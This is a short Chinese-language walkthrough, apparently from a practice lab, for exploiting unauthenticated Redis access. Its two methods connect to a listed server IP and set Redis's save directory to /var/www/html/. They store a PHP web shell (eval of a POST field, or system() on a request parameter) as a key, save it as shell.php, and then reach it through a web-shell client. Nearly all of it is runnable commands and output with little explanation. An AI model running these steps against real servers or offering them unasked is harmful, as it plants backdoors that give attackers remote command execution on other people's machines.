redis未授权访问
redis未授权访问
方法一：【推荐】
root@kali:~/redis-4.0.11# apt-get install redis
root@kali:~# redis-cli
root@kali:~# redis-cli -h 219.153.49.228 -p 44483
219.153.49.228:44483> info
//有问题
219.153.49.228:44483> keys *
(empty list or set)
219.153.49.228:44483> CONFIG SET dir /var/www/html/
OK
219.153.49.228:44483> set shell "<?php @eval($_POST['margin']);?>"
OK
219.153.49.228:44483> CONFIG SET dbfilename shell.php
OK
219.153.49.228:44483> save
OK
菜刀连接http://219.153.49.228:46421/shell.php
方法二
ip:219.153.49.228
1.一个界面安装运行
$ wget http://download.redis.io/releases/redis-4.0.11.tar.gz
$ tar xzf redis-4.0.11.tar.gz
$ cd redis-4.0.11
$ make
$ src/redis-server
$ src/redis-cli
redis> set foo bar
OK
redis> get foo
"bar"
2.另开一个页面连接
root@kali:~/redis-4.0.11# cd redis-4.0.11
root@kali:~/redis-4.0.11# src/redis-cli -h 219.153.49.228 -p 49053//web
root@kali:~/redis-4.0.11# src/redis-cli -h 219.153.49.228 -p 42267
219.153.49.228:42267> info
219.153.49.228:42267> CONFIG SET dir /var/www/html/
OK
219.153.49.228:42267> set shell "<?php echo system($_REQUEST[cmd])?>"
OK
219.153.49.228:42267> CONFIG SET dbfilename shell.php
OK
219.153.49.228:42267> save
OK